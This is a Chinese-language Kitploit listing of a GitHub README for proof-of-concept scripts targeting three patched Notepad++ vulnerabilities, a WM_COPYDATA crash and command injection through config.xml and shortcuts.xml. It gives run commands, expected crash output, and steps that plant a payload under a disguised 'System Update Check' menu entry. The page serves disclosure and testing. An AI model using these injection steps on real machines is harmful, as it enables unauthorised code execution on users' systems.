Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Notepad-8.9.6-PoC — 针对Notepad++ <= 8.9.6中的三个漏洞的概念验证脚本,已在v8.9.6.1(2026-05-26)中修补:CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 | Kitploit
工具/GitHubGitHub/atiilla/notepad-8.9.6-poc
漏洞分析漏洞利用渗透测试学习与教育Payload 开发二进制利用
GitHubatiilla/notepad-8.9.6-poc

Notepad-8.9.6-PoC

针对Notepad++ <= 8.9.6中的三个漏洞的概念验证脚本,已在v8.9.6.1(2026-05-26)中修补:CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

查看仓库
632个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Notepad++ PoCs

CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

三个针对 Notepad++ <= 8.9.6 版本的漏洞概念验证脚本,已在 v8.9.6.1 (2026-05-26) 中修复。

CVE-2026-48778 demo - File → Open Containing Folder → cmd triggers RCE


漏洞信息

CVE类型CVSS影响
CVE-2026-48770通过 WM_COPYDATA 越界读取5.0拒绝服务/崩溃
CVE-2026-48778通过 config.xml 操作系统命令注入7.8远程代码执行
CVE-2026-48800通过 shortcuts.xml 操作系统命令注入7.8远程代码执行

需求

  • Windows 10/11 (建议使用虚拟机)
  • 安装了 Notepad++ <= 8.9.6 且未更新
  • Python 3.x (用于 .py 脚本)
  • PowerShell (内置,用于 .ps1)

文件结构

root@kitploit:~
.
├── README.md
├── poc_CVE-2026-48770.py                    # 越界读取崩溃 (ctypes)
├── poc_CVE-2026-48778.py                    # 通过 config.xml 远程代码执行
├── poc_CVE-2026-48800.py                    # 通过 shortcuts.xml 远程代码执行
└── payloads/
    ├── config.xml                           # 即用型载荷 (CVE-2026-48778)
    ├── shortcuts.xml                        # 即用型载荷 (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # 越界读取崩溃 (PowerShell)

CVE-2026-48770 - 通过 WM_COPYDATA 越界读取

同一 Windows 会话中的本地进程发送一个精心构造的 WM_COPYDATA 消息(dwData=3),且不含 NUL 终止符。处理程序读取超出缓冲区边界,产生访问冲突(0xc0000005),导致 Notepad++ 崩溃。

触发条件: 必须已打开 Notepad++。

PowerShell:

root@kitploit:~
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

Python:

root@kitploit:~
python poc_CVE-2026-48770.py

预期输出:

root@kitploit:~
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

Notepad++ 窗口消失,可能触发 Windows 错误报告 (WER)。


CVE-2026-48778 - 通过 config.xml 远程代码执行

启动时读取 %APPDATA%\Notepad++\config.xml。<GUIConfig name="commandLineInterpreter"> 的值直接传递给 ShellExecute() 且未经校验。将其替换为任意可执行文件后,当用户点击文件 → 打开所在文件夹 → cmd 时即可实现远程代码执行。

方法 A - Python 脚本 (推荐)

root@kitploit:~
# 注入 (自动备份原始文件)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# 触发:打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd
# 此时启动的是 calc.exe 而非 cmd.exe

# 恢复
python poc_CVE-2026-48778.py --mode direct --restore

方法 B - 替换 XML 文件

root@kitploit:~
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# 打开 Notepad++ -> 文件 -> 打开所在文件夹 -> cmd

方法 C - 使用 settingsDir 参数 (无需写入 AppData)

root@kitploit:~
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:文件 -> 打开所在文件夹 -> cmd

CVE-2026-48800 - 通过 shortcuts.xml 远程代码执行

启动时读取 %APPDATA%\Notepad++\shortcuts.xml。<UserDefinedCommands> 下的 <Command> 条目会被添加到运行菜单,并直接传递给 ShellExecute() 且未经校验。攻击者控制的条目在点击时执行。

方法 A - Python 脚本 (推荐)

root@kitploit:~
# 注入 (自动备份原始文件)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# 触发:关闭并重新打开 Notepad++ -> 运行菜单 -> "System Update Check"
# 启动 calc.exe

# 恢复
python poc_CVE-2026-48800.py --mode direct --restore

方法 B - 替换 XML 文件

root@kitploit:~
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# 重启 Notepad++ -> 运行菜单 -> "System Update Check"

方法 C - 使用 settingsDir 参数 (无需写入 AppData)

root@kitploit:~
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# 输出 notepad++.exe -settingsDir= 启动命令
# 触发:运行菜单 -> "System Update Check"

缓解措施

更新 Notepad++ 到 v8.9.6.1 或更高版本。
下载:https://notepad-plus-plus.org/downloads/


安全公告参考

CVE安全公告
CVE-2026-48770GHSA-r39g-3mcw-xcg2
CVE-2026-48778GHSA-7hm3-wp5q-ccv9
CVE-2026-48800GHSA-3x3f-3j39-pj3v

仅供研究和授权测试使用。

下载工具